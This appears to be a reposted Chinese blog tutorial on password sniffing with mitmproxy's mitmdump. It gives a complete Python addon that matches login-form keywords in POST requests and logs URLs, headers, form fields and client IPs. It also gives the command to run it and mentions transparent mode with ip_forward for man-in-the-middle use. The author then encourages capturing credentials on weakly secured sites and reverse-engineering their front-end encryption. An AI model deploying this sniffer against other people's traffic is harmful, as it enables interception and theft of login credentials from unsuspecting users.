使用 Mitmdump 与 Python 脚本进行密码嗅探

栏目: Python · 发布时间: 5年前

内容简介:很久没有写文章了,一是没空,二是几乎忘了还有这回事。这篇应该是年前的最后一发吧!那么今天就来聊一聊我最近关于网络抓包的一些实践(其实我对网络安全领域知之甚少)。当然,大家最熟知的工具可能是 Wireshark,它的功能十分强大。不过它大概不支持热插拔脚本,也就没办法实现完全自有掌控的抓包。于是不就之后,Mitmproxy 这货进入了我的视线,用它可以方便的添加自定义抓取逻辑的 Python 脚本,可以说非常容易扩展,完美的解决了我的需求。这也是写完突然想起了自己入行这两年的一个感悟:程序员有时候应该感谢给自

很久没有写文章了,一是没空,二是几乎忘了还有这回事。这篇应该是年前的最后一发吧!那么今天就来聊一聊我最近关于网络抓包的一些实践(其实我对网络安全领域知之甚少)。当然,大家最熟知的 工具 可能是 Wireshark,它的功能十分强大。不过它大概不支持热插拔脚本,也就没办法实现完全自有掌控的抓包。于是不就之后,Mitmproxy 这货进入了我的视线,用它可以方便的添加自定义抓取逻辑的 Python 脚本,可以说非常容易扩展,完美的解决了我的需求。这也是写完 Keykee 之后,再一次将这一傻式编程语言应用到生产实践中。

突然想起了自己入行这两年的一个感悟:

程序员有时候应该感谢给自己提需求的人。

Mitmdump 是 Mitmproxy 的一个分支,它就是实现根据自定义的脚本进行 dump 的核心工具。如果就是在自己机器上玩一玩的话,使用常规模式 (Regular Mode) 即可。关于 Mitmproxy 这几种模式的详细介绍可以看 官方文档 ,这是常规模式的原理图:

使用 Mitmdump 与 Python 脚本进行密码嗅探

如果有中间人攻击的因素在里面的话需要配合 Linux 的 ip_forward,并且使用 Mitmdump 的透明模式( Transparent Mode),它对客户端来说是不可见的:

使用 Mitmdump 与 Python 脚本进行密码嗅探

通常情况下,常规和透明这两种模式可以满足大部分的实验需求。

Mitmdump 可以通过 pip 安装:

$ pip install mitmproxy

安装完之后就可以在任何地方使用 mitmdump 命令操作了。

如果需要抓取 https 请求的话,需要在系统中导入 Mitmproxy 的根证书,如果只在某个浏览器中实验的的话,也可以直接在浏览器中导入。证书的默认位置在 ~/.mitmproxy 目录下。

然后设置系统的网络代理,根据需要设置“对所有协议使用相同代理”。代理 ip 为 127.0.0.1,代理端口为 8080。

这样,准备工作就做好了。

这次尝试编写一个密码嗅探的脚本,前面提到了,它的 扩展性 非常 !!!所以我这里就抛砖引玉了。

sniffer.py

import logging
from mitmproxy import http

password_key = ["password", "pwd", "pass", "passwd", "mm", "passport", "auth", "key", "mima"]
form_login_key = ["check", "login", "verify", "account", "logon", "signin", "denglu"]


class Sniffer:

    def request(self, flow: http.HTTPFlow):
        request = flow.request
        url = request.pretty_url
        form_url = str(request.urlencoded_form)
        if request.method == 'POST':
            if self.any_match(form_login_key, url) or self.any_match(password_key, form_url):
                self.resolve(flow)

    def any_match(self, list, str: str):
        lower_str = str.lower()
        for i in list:
            if i in lower_str:
                return True
        return False

    def resolve(self, flow: http.HTTPFlow):
        request = flow.request
        url = request.url
        _from = str(flow.client_conn.ip_address)
        url_form = str(request.urlencoded_form)
        header = str(request.headers)

        logging.info("url: %s \nheader: %s \nform: %s \nip_from: %s", url, header, url_form, _from)

Mitmdump 会创建一个 Sniffer 类的实例,并调用 request(flow) 方法,它可以一次插入多个这样的 class,只需要提供一个统一的入口即可:

addons.py

from sniffer import Sniffer

addons = [
    Sniffer()
    # YourSniffer()
    # ...
]

最后,执行 mitmdump 命令开始抓包:

$ mitmdump -q -s addons.py --set body-size-limit=10k "~m post"
  • -q 屏蔽 mitmdump 默认的控制台日志,只显示自己脚本中的
  • -s 入口脚本文件
  • –set body-size-limit=10k 只处理小于 10k 的请求
  • “~m post” 只处理 post 方法的请求

启动之后访问一个自己认为安全性相对较差的站点,进行用户登录的操作,然后控制台里出现了用户名密码等信息,如果经过加密了,找到这个页面的前端代码研究一下加密方式,安全性较差的站点很容易就能搞明白。

最后,欢迎来我的摆码王子的小屋做客!

各位朋友,新春愉快 : )

[0] https://b.letec.top

[1] https://gitee.com/zbl1996/keykee

[2] https://docs.mitmproxy.org/stable/concepts-modes/


以上所述就是小编给大家介绍的《使用 Mitmdump 与 Python 脚本进行密码嗅探》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Inside Larry's and Sergey's Brain

Inside Larry's and Sergey's Brain

Richard Brandt / Portfolio / 17 Sep 2009 / USD 24.95

You’ve used their products. You’ve heard about their skyrocketing wealth and “don’t be evil” business motto. But how much do you really know about Google’s founders, Larry Page and Sergey Brin? Inside......一起来看看 《Inside Larry's and Sergey's Brain》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具